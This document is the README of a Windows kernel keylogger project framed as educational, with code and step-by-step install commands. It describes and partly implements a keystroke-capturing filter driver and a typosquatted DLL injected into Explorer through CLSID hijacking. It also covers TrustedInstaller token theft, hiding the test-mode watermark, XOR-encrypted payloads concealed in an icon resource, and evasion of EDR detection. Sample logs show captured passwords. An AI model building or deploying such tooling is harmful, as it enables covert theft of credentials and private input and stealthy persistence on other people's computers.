This project demonstrates the use of a custom keyboard driver operating in kernel mode with a built-in UDP protocol under 30 kB. After successful installation, verify operation with:
UdpLogger status
Expected Output (Fully Operational):
=== UDP Keyboard Logger - Full System Status ===
[+] Windows Service: RUNNING (UdpKeyboardLogger)
[+] Kernel Driver: LOADED (kvckbd.sys)
[+] CLSID Hijack: ACTIVE (ExplorerFrame.dll -> ExpIorerFrame.dll)
[+] Test Signing: ENABLED (BCD)
[+] Files: All components present
Overall Status: FULLY OPERATIONAL
This comprehensive educational project represents one of the few fully functional IRP-based keyboard filter drivers developed in recent years, specifically compiled and tested for Windows 11 25H2 that successfully combines kernel-mode interception, network communication, sophisticated privilege escalation, and persistent installation mechanisms. The project serves as a practical reference for understanding modern Windows protection mechanisms and kernel programming techniques.
This system is designed for:
⚠️ MANDATORY REQUIREMENTS:
Alternative approach: use the companion KVC tool – a separate project that can load an unsigned kernel driver without reboot in any protection mode (including Secure Boot). Note: the user must update the KVC source (including the offset map in OffsetFinder.cpp) before use.
| Component | Type | Privilege Level | Primary Function |
|---|---|---|---|
| kvckbd.sys | Kernel Filter Driver | Ring 0 | IRP-level keyboard interception, scan code processing, WSK networking |
| ExplorerFrame.dll | COM In-Process Server | Ring 3 (User) | CLSID hijacking for persistence, API hooking for watermark removal |
| UdpLogger.exe | Service Manager | Ring 3 (TI/Admin) | Installation orchestration, UDP logging, system status monitoring |
The system implements a multi-layer interception and processing pipeline:
Keyboard Hardware
↓
i8042prt.sys / USB HID Driver (Port Driver)
↓
kbdclass.sys (Windows Keyboard Class Driver)
↓ [IRP_MJ_READ Interception Point]
kvckbd.sys (Filter Driver - Ring 0)
├→ Scan Code Translation
├→ State Machine Processing
├→ Line Buffering (512 bytes)
└→ WSK UDP Transmission
↓
127.0.0.1:31415 (Localhost UDP Socket)
↓
UdpLogger.exe Windows Service (Ring 3)
├→ Non-blocking UDP Listener
├→ Daily Log Rotation
└→ Timestamped File Output
↓
keyboard_log_YYYY-MM-DD.txt
The three components operate independently yet cooperatively:
Kernel Space (Ring 0):
User Space (Ring 3):
Persistence Layer:
[User Executes: UdpLogger install]
↓
┌──────────────────────────────────┐
│ Secure Boot Detection Phase │
│ • Check UEFI registry key │
│ • Block if Secure Boot enabled │
│ • Display BIOS disable guide │
└──────────────────────────────────┘
↓
┌──────────────────────────────────┐
│ Resource Extraction Phase │
│ • Skip icon data (1662 bytes) │
│ • XOR-decrypt CAB archive │
│ • FDI in-memory decompression │
│ • Extract kvc.bin │
│ • Parse PE binaries (MZ search) │
│ • Identify by subsystem field │
└──────────────────────────────────┘
↓
┌──────────────────────────────────┐
│ Privilege Escalation Phase │
│ • Acquire SYSTEM token │
│ • Start TrustedInstaller │
│ • Duplicate TI token │
│ • Enable all privileges │
└──────────────────────────────────┘
↓
┌──────────────────────────────────┐
│ File Deployment Phase │
│ • Write to System32 │
│ • Write to DriverStore │
│ • Direct API (no cmd.exe) │
└──────────────────────────────────┘
↓
┌──────────────────────────────────┐
│ Registry Configuration Phase │
│ • CLSID hijack registration │
│ • BCD test signing enable │
│ • Driver service creation │
└──────────────────────────────────┘
↓
┌──────────────────────────────────┐
│ Service Installation Phase │
│ • Create Windows service │
│ • Configure auto-start │
│ • Start service immediately │
└──────────────────────────────────┘
↓
[System Reboot Required]
↓
[kvckbd.sys loads at boot]
↓
[System Fully Operational]
Pre-Installation Check (SystemStatus.cpp:91-104)
Before any installation steps, the system checks if Secure Boot is enabled:
HKEY hKey;
DWORD secureBootEnabled = 0;
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Control\\SecureBoot\\State",
0, KEY_READ, &hKey);
RegQueryValueExW(hKey, L"UEFISecureBootEnabled", nullptr, nullptr,
(LPBYTE)&secureBootEnabled, &dataSize);
return secureBootEnabled == 1; // TRUE = Secure Boot ON → BLOCK
Installation Blocking (UdpLogger.cpp:216-234)
If Secure Boot is detected, installation terminates immediately with error message:
[ERROR] SECURE BOOT IS ENABLED - INSTALLATION BLOCKED
+============================================================+
| SECURE BOOT DETECTED |
+============================================================+
| Secure Boot is enabled in UEFI/BIOS settings. |
| This prevents loading unsigned kernel drivers. |
| |
| REQUIRED ACTION: |
| 1. Enter UEFI/BIOS settings during boot |
| 2. Disable Secure Boot |
| 3. Save changes and reboot |
| 4. Run installation again |
+============================================================+
Why This Matters:
The kernel driver is the cornerstone of this system, operating at Ring 0 with full kernel privileges. It implements a sophisticated IRP filter mechanism that intercepts keyboard input at the Windows Driver Model (WDM) level, specifically targeting the kbdclass.sys class driver.
Filter Driver Philosophy:
Rather than implementing a complete keyboard driver stack, kvckbd.sys adopts the filter driver pattern. It positions itself between user-mode applications and the legitimate Windows keyboard driver, allowing it to observe and process all keyboard input without replacing core system functionality.
Key Innovation - Modern IRP-Based Implementation – Tested on Windows 11 25H2:
This driver represents a rare working implementation of IRP-based keyboard filtering. Most modern attempts fail due to:
This project solves all these challenges through careful architecture-specific offset management, proper IRQL-aware synchronization, and comprehensive cancellation handling.
DeviceExtension Offset Technique:
The driver directly accesses internal structures of kbdclass.sys by using architecture-specific offsets into the DeviceExtension. This technique is necessary because Microsoft doesn't expose these structures publicly:
| Structure | x86 Offset | x64 Offset | Purpose |
|---|---|---|---|
| IO_REMOVE_LOCK | 0x10 | 0x20 | Prevents device removal during operations |
| KSPIN_LOCK | 0x6C | 0xA0 | Synchronizes access to IRP queue |
| LIST_ENTRY | 0x70 | 0xA8 | Head of pending read IRP queue |
IRP Queue Manipulation:
The driver dequeues pending IRPs directly from kbdclass.sys's internal queue, processes them, then forwards them to the original handler. This requires:
Thread-Based Processing:
Each intercepted IRP spawns a dedicated system thread. This design:
Multi-Table Translation System:
The driver implements an efficient scan code translation engine using multiple lookup tables:
State Machine Implementation:
The driver maintains keyboard state flags (Shift, CapsLock, NumLock) and implements XOR logic for proper character output. For letters:
Performance Optimization:
Instead of storing all combinations (84 × 4 = 336 entries), the driver computes variations at runtime, reducing memory footprint to ~1KB for all translation tables while maintaining O(1) lookup complexity.
Design Rationale:
Traditional keystroke loggers send one network packet per key press, generating excessive traffic. This driver implements line-based buffering:
Performance Impact:
Synchronization:
The buffer uses KSPIN_LOCK for protection since it's accessed at DISPATCH_LEVEL. Spinlocks are mandatory here (mutexes would cause BSOD at DISPATCH_LEVEL).
Kernel-Mode Networking:
The driver uses Winsock Kernel (WSK) for UDP communication. WSK advantages:
Initialization Process:
UDP Transmission:
Calls WSKSendTo with pre-configured socket. No need to specify destination address on each call since SIO_WSK_SET_SENDTO_ADDRESS sets a default target.
Initialization Thread:
A persistent system thread (KbdThread_IrpHookInit) runs continuously:
Clean Unload Process:
Unloading a filter driver is notoriously difficult. This driver implements:
Critical Safety Mechanism:
The SafeUnload flag prevents premature unload while IRPs are still processing. Each keyboard object tracks whether it's safe to cleanup, preventing BSOD during unload.
This COM in-process server achieves two objectives: persistence through CLSID hijacking and stealth through API hooking to remove test mode watermarks. It demonstrates advanced techniques for DLL injection and import table manipulation.
Target CLSID:
{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}
Mechanism:
When Windows Explorer (explorer.exe) starts, it loads numerous COM components. By hijacking the InProcServer32 registry value for a specific CLSID, we can inject our DLL into Explorer's address space automatically at every system boot.
Registry Manipulation:
HKCR\CLSID\{...}\InProcServer32 = %SystemRoot%\system32\ExplorerFrame.dllHKCR\CLSID\{...}\InProcServer32 = %SystemRoot%\system32\ExpIorerFrame.dllStealth Through Typosquatting:
The filename uses visual similarity:
ExplorerFrame.dll (legitimate, uses lowercase 'l')ExpIorerFrame.dll (malicious, uses uppercase 'I')In many fonts, 'l' and 'I' are nearly indistinguishable, making casual file listing appear normal.
Persistence Characteristics:
Objective:
Remove "Test Mode" watermark displayed by Windows when test signing is enabled. The watermark is rendered by shell32.dll using LoadStringW and ExtTextOutW API calls.
Hooking Technique:
The DLL implements IAT patching to redirect API calls:
Proxy Functions:
String Detection:
The DLL maintains a list of watermark strings:
If detected in text output calls, the function returns success without actually drawing.
Initialization Timing:
Hooking occurs in DllMain during DLL_PROCESS_ATTACH, ensuring it activates before Explorer renders any UI elements.
Design Philosophy:
The DLL is built with aggressive size optimization:
Binary Size:
Through these optimizations, the compiled DLL is extremely small (~7 KB), making it less suspicious and easier to hide.
Function Forwarding:
The DLL exports two functions that forward to the legitimate explorerframe.dll:
DllGetClassObject → explorerframe.DllGetClassObject
DllCanUnloadNow → explorerframe.DllCanUnloadNow
This ensures COM functionality remains intact while injection occurs transparently.
UdpLogger.exe is the orchestration center of the entire system. It serves four critical roles:
This component demonstrates advanced Windows service programming, privilege escalation techniques, and secure resource embedding.
The tool provides a comprehensive CLI for all management operations:
UdpLogger install # Full installation with reboot prompt
UdpLogger install --reboot # Install and reboot automatically
UdpLogger uninstall # Complete removal (reboot recommended)
UdpLogger status # System-wide component status check
UdpLogger service start # Start Windows service
UdpLogger service stop # Stop Windows service
UdpLogger service restart # Restart Windows service
UdpLogger service status # Query service state
UdpLogger driver start # Load kernel driver
UdpLogger driver stop # Unload kernel driver
UdpLogger driver restart # Restart driver
UdpLogger driver status # Query driver state
Why TrustedInstaller?
Windows protects critical system files and registry keys using TrustedInstaller ownership. Standard Administrator privileges cannot:
Escalation Chain:
Current Process (Administrator)
↓ [Enable SeDebugPrivilege]
OpenProcess(winlogon.exe)
↓ [OpenProcessToken]
Acquire SYSTEM Token
↓ [DuplicateTokenEx]
Impersonate SYSTEM
↓ [StartService("TrustedInstaller")]
TrustedInstaller Service Running
↓ [OpenProcess(TrustedInstaller.exe)]
Acquire TrustedInstaller Token
↓ [DuplicateTokenEx]
TrustedInstaller Impersonation Token
↓ [ImpersonateLoggedOnUser]
Execute Operations with TI Privileges
↓
[RevertToSelf]
Key Techniques:
SYSTEM Acquisition:
TrustedInstaller Service:
Privilege Enablement:
Impersonation Context:
Embedding Method:
The final UdpLogger.exe embeds both kvckbd.sys and ExpIorerFrame.dll using steganography with CAB compression, achieving exceptional size efficiency (~18 KB total).
Structure:
IDR_MAINICON Resource (RT_RCDATA) - Total: ~18 KB
├── [0x0000 - 0x067E] Valid ICO file (1,662 bytes) - Visual mask
└── [0x067E - EOF] XOR-Encrypted CAB Archive
└── XOR Key: 0xA0 0xE2 0x80 0x8B 0xE2 0x80 0x8C
└── CAB Contents: kvc.bin (concatenated PE files)
├── kvckbd.sys (Kernel driver - subsystem 1)
└── ExpIorerFrame.dll (Usermode library - subsystem 2)
Encryption:
Files are XOR-encrypted with a 7-byte key before CAB compression:
static constexpr std::array<BYTE, 7> XOR_KEY = {
0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C
};
void XorDecrypt(BYTE* data, size_t size) noexcept {
for (size_t i = 0; i < size; ++i) {
data[i] ^= XOR_KEY[i % XOR_KEY.size()];
}
}
Extraction Process (ResourceExtractor.cpp):
Stage 1: Resource Loading (Lines 269-283)
// Load embedded resource from executable
HRSRC hRes = FindResourceW(hInstance, MAKEINTRESOURCEW(IDR_MAINICON), RT_RCDATA);
HGLOBAL hResData = LoadResource(hInstance, hRes);
DWORD resSize = SizeofResource(hInstance, hRes);
const BYTE* resData = static_cast<const BYTE*>(LockResource(hResData));
Stage 2: Icon Skipping (Lines 285-292)
// Skip ICO header and image data (first 1662 bytes)
const size_t ICON_SIZE = 1662;
std::vector<BYTE> encryptedCab(resData + ICON_SIZE, resData + resSize);
Stage 3: XOR Decryption (Lines 294-295)
// Decrypt CAB archive in memory
XorDecrypt(encryptedCab.data(), encryptedCab.size());
// Expected signature after decrypt: 4D 53 43 46 (MSCF - CAB magic)
Stage 4: In-Memory CAB Decompression (Lines 123-183)
Uses Windows FDI (File Decompression Interface) API with custom callbacks:
// Setup memory-based CAB extraction
MemoryReadContext ctx = { cabData, cabSize, 0 };
HFDI hfdi = FDICreate(fdi_alloc, fdi_free, fdi_open, fdi_read,
fdi_write, fdi_close, fdi_seek, cpuUNKNOWN, &erf);
// Extract files from CAB (no temp files - all in memory)
FDICopy(hfdi, "memory.cab", "", 0, fdi_notify, nullptr, &files);
Key implementation details:
fdi_open: Returns pointer to memory context (not file handle)fdi_read: Reads from memory buffer instead of diskfdi_write: Writes to in-memory vector (no filesystem I/O)fdi_seek: Adjusts memory offset pointerStage 5: PE Binary Separation (Lines 188-242)
The extracted kvc.bin contains two concatenated PE files. Parser identifies them by:
// Find all PE signatures (MZ = 0x4D 0x5A)
std::vector<size_t> peOffsets;
for (size_t i = 0; i < kvcData.size() - 1; i++) {
if (kvcData[i] == 0x4D && kvcData[i + 1] == 0x5A) {
peOffsets.push_back(i);
}
}
// Identify file type by PE Optional Header subsystem field
DWORD peOffset = *reinterpret_cast<const DWORD*>(&file.data[0x3C]);
WORD subsystem = *reinterpret_cast<const WORD*>(&file.data[peOffset + 0x5C]);
// IMAGE_SUBSYSTEM_NATIVE (1) = Kernel driver → kvckbd.sys
// IMAGE_SUBSYSTEM_WINDOWS_GUI (2) = DLL → ExpIorerFrame.dll
if (subsystem == 1) {
file.filename = L"kvckbd.sys";
} else {
file.filename = L"ExpIorerFrame.dll";
}
Advantages:
Detection Resistance:
The installation process requires TrustedInstaller privileges to deploy files to protected system locations. The system uses sophisticated token impersonation instead of traditional privilege escalation methods (takeown/icacls), achieving direct API-level operations without spawning external processes.
Token Escalation Chain:
Current Process (Administrator)
↓ [OpenProcessToken → DuplicateTokenEx]
SYSTEM Token (via winlogon.exe process)
↓ [ImpersonateLoggedOnUser → StartService]
TrustedInstaller Service Token
↓ [Direct Win32 API with impersonation]
Protected System Resources (System32, DriverStore, Registry)
Implementation Details (TrustedInstallerExecutor.cpp):
Phase 1: SYSTEM Token Acquisition (Lines 258-275)
// Locate winlogon.exe (always runs as NT AUTHORITY\SYSTEM)
auto winlogonPid = GetProcessIdByName(L"winlogon.exe");
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, *winlogonPid);
// Duplicate its token for impersonation
HANDLE token;
OpenProcessToken(process, TOKEN_DUPLICATE | TOKEN_QUERY, &token);
DuplicateTokenEx(token, MAXIMUM_ALLOWED, nullptr,
SecurityImpersonation, TokenImpersonation, &systemToken);
Phase 2: TrustedInstaller Service Activation (Lines 277-321)
// Impersonate SYSTEM to gain service start permissions
ImpersonateLoggedOnUser(systemToken);
// Start TrustedInstaller Windows service
SC_HANDLE scManager = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
SC_HANDLE service = OpenServiceW(scManager, L"TrustedInstaller",
SERVICE_QUERY_STATUS | SERVICE_START);
StartServiceW(service, 0, nullptr);
// Wait for SERVICE_RUNNING state (with timeout)
SERVICE_STATUS_PROCESS status;
while (QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, &status, ...)) {
if (status.dwCurrentState == SERVICE_RUNNING) {
trustedInstallerPid = status.dwProcessId;
break;
}
Sleep(status.dwWaitHint ? status.dwWaitHint : 100);
}
Phase 3: Token Extraction & Duplication (Lines 323-337)
// Open TrustedInstaller process handle
HANDLE tiProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid);
// Steal its token
HANDLE tiToken;
OpenProcessToken(tiProcess, TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &tiToken);
DuplicateTokenEx(tiToken, MAXIMUM_ALLOWED, nullptr,
SecurityImpersonation, TokenImpersonation, &finalToken);
// Revert SYSTEM impersonation
RevertToSelf();
Phase 4: Privilege Enablement (Lines 155-177)
// Enable all required privileges on TrustedInstaller token
const std::array<std::wstring_view, 8> REQUIRED_PRIVILEGES = {
L"SeDebugPrivilege", // Debug processes
L"SeImpersonatePrivilege", // Impersonate tokens
L"SeAssignPrimaryTokenPrivilege", // Assign primary token
L"SeTcbPrivilege", // Trusted computer base
L"SeBackupPrivilege", // Backup files/registry
L"SeRestorePrivilege", // Restore files/registry
L"SeTakeOwnershipPrivilege", // Take ownership of objects
L"SeSecurityPrivilege" // Manage auditing/security log
};
for (auto privilege : REQUIRED_PRIVILEGES) {
LUID luid;
LookupPrivilegeValueW(nullptr, privilege, &luid);
TOKEN_PRIVILEGES tp{};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), nullptr, nullptr);
}
Direct Operations (No External Processes):
File Operations (Lines 443-497)
bool WriteFileAsTrustedInstaller(const std::wstring& path,
const std::vector<BYTE>& data) {
// Impersonate TrustedInstaller token
ImpersonateLoggedOnUser(tiToken.get());
// Create/write file directly via Win32 API
HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
DWORD bytesWritten;
WriteFile(hFile, data.data(), data.size(), &bytesWritten, nullptr);
CloseHandle(hFile);
// Revert to original security context
RevertToSelf();
return true;
}
Registry Operations (Lines 570-618)
bool WriteRegistryValueAsTrustedInstaller(HKEY hKeyRoot,
const std::wstring& subKey,
const std::wstring& value) {
ImpersonateLoggedOnUser(tiToken.get());
HKEY hKey;
RegOpenKeyExW(hKeyRoot, subKey.c_str(), 0, KEY_WRITE | KEY_WOW64_64KEY, &hKey);
RegSetValueExW(hKey, valueName.c_str(), 0, REG_EXPAND_SZ,
reinterpret_cast<const BYTE*>(value.c_str()), dataSize);
RegCloseKey(hKey);
RevertToSelf();
return true;
}
Key Operations Performed:
| Operation Type | Target Location | Purpose |
|---|---|---|
| File Write | %SystemRoot%\System32\ExpIorerFrame.dll |
CLSID hijack DLL deployment |
| File Write | %SystemRoot%\System32\DriverStore\FileRepository\keyboard.inf_amd64_*\kvckbd.sys |
Kernel driver deployment |
| Registry Write | HKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32 |
COM hijack registration |
| Registry Write | HKLM\SYSTEM\CurrentControlSet\Services\kvckbd |
Driver service creation |
| Registry Write | HKLM\BCD00000000\Objects\{GUID}\Elements\16000049 |
BCD test signing enable |
| File Delete | Protected system files | Uninstall cleanup |
Advantages Over Traditional Methods:
| Traditional (takeown/icacls) | TrustedInstaller Token Impersonation |
|---|---|
takeown.exe /F file |
Direct Win32 API call |
icacls.exe file /grant |
Single token impersonation |
| 3-5 cmd.exe processes per file | No child processes spawned |
| 5-10 seconds per operation | Milliseconds per operation |
| Visible in Process Explorer | Appears as normal system activity |
| EDR process chain detection | Single-thread operation |
| Console window flashing | Silent API-level execution |
Security Context:
Service Architecture:
The program implements a dual-mode design:
UdpLogger --service (called by SCM)Service Lifecycle:
Service Control Manager (SCM)
↓ [StartService]
ServiceMain() - Entry Point
↓
Register Control Handler
Set Status: SERVICE_START_PENDING
↓
Initialize Components:
• Create UDP listener (port 31415)
• Create FileLogger instance
• Set message handler callback
↓
Create Worker Thread
Set Status: SERVICE_RUNNING
↓
[Wait for stop event]
↓ [SERVICE_CONTROL_STOP received]
Set Status: SERVICE_STOP_PENDING
Cleanup:
• Stop UDP listener
• Flush and close log file
• Release resources
↓
Set Status: SERVICE_STOPPED
Worker Thread:
Runs continuously while service is active:
UDP Listener:
Log File Naming:
keyboard_log_YYYY-MM-DD.txt
Rotation Logic:
At midnight, the logger:
Header Format:
################################################################################
### ###
### UDP KEYBOARD LOGGER - KERNEL/USER-MODE BRIDGE ###
### ###
### System: kvckbd.sys driver + ExplorerFrame.dll + UDP service (31415) ###
### Deployment: TrustedInstaller token escalation, BCD test signing, ###
### DriverStore integration, and CLSID hijacking for ###
### persistence. ###
### ###
### Author: Marek Wesolowski | marek@wesolowski.eu.org | +48 607 440 283 ###
### Project: https://github.com/wesmar/udp-keyboard-logger ###
### ###
################################################################################
===============================================================================
Session started: 2025-10-10 14:23:15
Listener: 127.0.0.1:31415
Client: 127.0.0.1:52341
===============================================================================
Entry Format:
[14:23:16] password123[Ent]
[14:23:45] cat /etc/shadow[Ent]
[14:24:12] https://bankaccount.com[Ent]
Footer Format:
===============================================================================
Session ended: 2025-10-10 18:30:45
Total duration: 4 hours 7 minutes 30 seconds
===============================================================================

Log Rotation:
New file created automatically at midnight...
Component Verification:
The UdpLogger status command performs comprehensive checks:
Windows Service Status:
Kernel Driver Status:
CLSID Hijack Verification:
Test Signing Status:
File Presence Check:
Output Interpretation:
Each component displays:
[+] checkmark (passing)[-] checkmark (failing)kvckbd Service Control:
The tool can start/stop/restart the kernel driver:
// Start driver
SC_HANDLE hService = OpenServiceW(hSCM, L"kvckbd", SERVICE_START);
StartServiceW(hService, 0, nullptr);
// Stop driver
ControlService(hService, SERVICE_CONTROL_STOP, &status);
Restart Strategy:
Status Query:
Reads service state and displays:
What is BCD?
Boot Configuration Data (BCD) is a firmware-independent database introduced in Windows Vista to replace boot.ini. It stores boot configuration parameters including:
Storage Location:

The BCD is stored as a registry hive at:
%SystemRoot%\Boot\BCD
When mounted, it appears in the registry at:
HKEY_LOCAL_MACHINE\BCD00000000
Hierarchy:
HKLM\BCD00000000
├── Description (metadata)
├── Objects
│ ├── {bootmgr} = {9dea862c-5cdd-4e70-acc1-f32b344d4795}
│ ├── {current} = {actual boot entry GUID}
│ ├── {default} = {default boot entry GUID}
│ └── {individual boot entries}
│ ├── Elements
│ │ ├── 11000001 (Device)
│ │ ├── 12000004 (Description)
│ │ ├── 16000049 (Testsigning)
│ │ ├── 23000003 (Current Boot Entry Reference)
│ │ └── ... (other elements)
Well-Known GUID:
{9dea862c-5cdd-4e70-acc1-f32b344d4795}
This is the Boot Manager GUID. It's a constant identifier for the Windows Boot Manager object.
BCD elements are identified by 8-digit hexadecimal codes:
| Element | Name | Type | Purpose |
|---|---|---|---|
| 23000003 | CurrentBootEntry | Pointer | GUID - Points to active boot entry |
| 16000049 | TestSigningEnabled | BINARY | Enables test-signed drivers |
| 12000004 | Description | STRING | OS description text |
| 11000001 | Device | BINARY | Boot device information |
| 26000010 | BootDebuggerEnabled | BOOLEAN | Kernel debugger status |
Purpose:
This element contains the GUID of the currently active boot configuration. When Windows boots, the boot manager uses this to determine which OS entry to load.
Data Format:
Usage in This Project:
The installer must dynamically determine which boot entry is current because:
Reading Process:
1. Read HKLM\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\23000003
2. Extract Element value (binary GUID data)
3. Convert to string format: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
4. Use this GUID to locate the current boot entry's Elements key
Purpose:
Controls whether Windows will load drivers signed with test certificates. When enabled, the OS displays a watermark: "Test Mode - Windows [Edition] - Build [Number]"
Data Format:
0x01 = Enabled0x00 = DisabledLocation:
HKLM\BCD00000000\Objects\{current boot GUID}\Elements\16000049
Why Test Signing is Needed:
Windows enforces Driver Signature Enforcement (DSE) on x64 systems:
Our Driver's Signature:
kvckbd.sys is signed with a test certificate (WDKTestCert Administrator, thumbprint: 134041667787870176), requiring test mode enabled.
Step-by-Step Process:
Read Current Boot GUID:
HKLM\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\23000003ElementParse GUID:
{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}Construct Testsigning Path:
HKLM\BCD00000000\Objects\{parsed GUID}\Elements\16000049
Create Key (if missing):
Write Binary Value:
Element0x01 (single byte)Reboot Required:
The standard way to enable test signing:
bcdedit /set testsigning on
However, this project uses direct registry manipulation because:
Investigators can detect test signing via:
bcdedit /enum {current}
Output will show:
testsigning Yes
Or via registry inspection at:
HKLM\BCD00000000\Objects\{...}\Elements\16000049
Service Control Manager (SCM) Role:
Windows doesn't load drivers directly from files. Instead:
Why Registry-Based?
Primary Key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kvckbd
Required Values:
| Value Name | Type | Data | Purpose |
|---|---|---|---|
| Type | REG_DWORD | 0x00000001 | SERVICE_KERNEL_DRIVER |
| Start | REG_DWORD | 0x00000002 | SERVICE_AUTO_START (loads at boot) |
| ErrorControl | REG_DWORD | 0x00000001 | SERVICE_ERROR_NORMAL (log error, continue boot) |
| ImagePath | REG_EXPAND_SZ | \System32...\kvckbd.sys | Relative path to driver |
| DisplayName | REG_SZ | "kvckbd" | Human-readable name |
Value Explanations:
Type Values:
0x00000001 = Kernel-mode driver0x00000002 = File system driver0x00000010 = Win32 serviceStart Values:
0x00000000 = Boot (loads by boot loader)0x00000001 = System (loads during kernel initialization)0x00000002 = Automatic (loads at boot)0x00000003 = Manual (must be started explicitly)0x00000004 = DisabledErrorControl Values:
0x00000000 = Ignore (log error, continue silently)0x00000001 = Normal (log error, display message, continue)0x00000002 = Severe (try last known good, fail boot if unavailable)0x00000003 = Critical (must succeed or boot fails)What is DriverStore?
Windows maintains a protected repository of installed drivers at:
%SystemRoot%\System32\DriverStore\FileRepository\
Directory Structure:
DriverStore\FileRepository\
└── keyboard.inf_amd64_[random hash]\
├── keyboard.inf
├── i8042prt.sys
├── kbdclass.sys
└── kvckbd.sys ← Our driver here
Why DriverStore?
Challenge:
The DriverStore subdirectory has a random hash suffix:
keyboard.inf_amd64_12ca23d60da30d59
This hash varies per system, so we cannot hardcode the path.
Solution - Dynamic Discovery:
std::wstring GetDriverStorePath() {
std::wstring driverStoreBase =
L"C:\\Windows\\System32\\DriverStore\\FileRepository\\";
// Search for keyboard.inf_amd64_* directory
std::wstring searchPattern = driverStoreBase + L"keyboard.inf_amd64_*";
WIN32_FIND_DATAW findData;
HANDLE hFind = FindFirstFileW(searchPattern.c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
return driverStoreBase + findData.cFileName;
}
} while (FindNextFileW(hFind, &findData));
}
// Fallback to default path
return driverStoreBase + L"keyboard.inf_amd64_12ca23d60da30d59";
}
Installation Process:
Relative Path:
\System32\DriverStore\FileRepository\keyboard.inf_amd64_XXX\kvckbd.sys
Why Relative?
Boot-Time Resolution:
At boot, Windows resolves relative paths:
\System32\... → %SystemRoot%\System32\...
Standard API (Insufficient):
SC_HANDLE hService = CreateServiceW(
hSCM, L"kvckbd", L"kvckbd", ...
);
This fails because:
Our Approach - Direct Registry:
// Using TrustedInstaller token (already acquired)
ImpersonateLoggedOnUser(tiToken);
// Create service key
RegCreateKeyExW(
HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Services\\kvckbd",
...
);
// Write Type value
RegSetValueExW(hKey, L"Type", 0, REG_DWORD,
(BYTE*)&type, sizeof(DWORD));
// Write Start value
RegSetValueExW(hKey, L"Start", 0, REG_DWORD,
(BYTE*)&start, sizeof(DWORD));
// ... write other values
RegCloseKey(hKey);
RevertToSelf();
Boot Sequence:
1. BIOS/UEFI loads Windows Boot Manager
2. Boot Manager reads BCD (checks testsigning flag)
3. Boot Manager loads winload.exe
4. winload.exe loads kernel (ntoskrnl.exe)
5. Kernel initialization begins
6. SCM reads SYSTEM\CurrentControlSet\Services
7. SCM loads drivers with Start=0x00000002 (AUTO_START)
8. kvckbd.sys DriverEntry() executes
9. Driver initializes and starts hooking
First Boot After Installation:
Check Service Registration:
sc query kvckbd
Check Registry:
reg query HKLM\SYSTEM\CurrentControlSet\Services\kvckbd
Check Driver in Memory:
sc query type=driver state=all | findstr /i kvckbd
Or using DriverView tools:
driverquery /v | findstr /i kvckbd
System Requirements:
Pre-Installation Checklist:
Security Boot Disable:
Simple Installation:
UdpLogger.exe install
This performs:
Automatic Reboot:
UdpLogger.exe install --reboot
Installation Stages:
Step 1/6: Installing drivers...
• Extracting kvckbd.sys from embedded resources
• Extracting ExpIorerFrame.dll from embedded resources
• Deploying to protected system directories
[SUCCESS] Drivers installed
Step 2/6: Installing registry keys...
• Writing CLSID hijack entry
[SUCCESS] Registry keys installed
Step 3/6: Enabling test signing...
• Reading current boot GUID
• Writing BCD element 16000049
[SUCCESS] Test signing enabled (reboot required)
Step 4/6: Registering driver service...
• Creating SYSTEM\CurrentControlSet\Services\kvckbd
• Writing ImagePath, Type, Start values
[SUCCESS] Driver service registered (reboot required)
Step 5/6: Installing Windows service...
• Creating service UdpKeyboardLogger
• Setting automatic start
[SUCCESS] Service installed
Step 6/6: Starting service...
[SUCCESS] Service started
[SUCCESS] Full installation completed successfully
+============================================================+
| System reboot is REQUIRED for changes to take effect. |
+============================================================+
Reboot now? (Y/N):
Post-Installation:
After reboot:
Comprehensive Status Check:
UdpLogger.exe status
Example Output:
=== UDP Keyboard Logger - Full System Status ===
[+] Windows Service: RUNNING (UdpKeyboardLogger)
[+] Kernel Driver: LOADED (kvckbd.sys)
[+] CLSID Hijack: ACTIVE (ExplorerFrame.dll -> ExpIorerFrame.dll)
[+] Test Signing: ENABLED (BCD)
[+] Files: All components present
Overall Status: FULLY OPERATIONAL

Individual Component Checks:
Service Status:
UdpLogger.exe service status
Driver Status:
UdpLogger.exe driver status
Start Service:
UdpLogger.exe service start
Stop Service:
UdpLogger.exe service stop
Restart Service:
UdpLogger.exe service restart
Start Driver:
UdpLogger.exe driver start
Stop Driver:
UdpLogger.exe driver stop
Restart Driver:
UdpLogger.exe driver restart
Note: Driver restart may be necessary after:
Log Location:
The service writes logs to the first writable location among:
%TEMP%\keyboard_log_YYYY-MM-DD.txt%TMP%\keyboard_log_YYYY-MM-DD.txt%USERPROFILE%\Documents\keyboard_log_YYYY-MM-DD.txtViewing Logs:
type %TEMP%\keyboard_log_2025-10-10.txt
Or open with any text editor.
Log Rotation:
New file created automatically at midnight. Old files preserved indefinitely (manual cleanup required).
Complete Removal:
UdpLogger.exe uninstall
This performs:
Post-Uninstall:
Reboot recommended (but not required). Driver and DLL will be removed at next boot if locked.
Note: Test signing remains in BCD but is disabled. To completely remove:
bcdedit /deletevalue testsigning
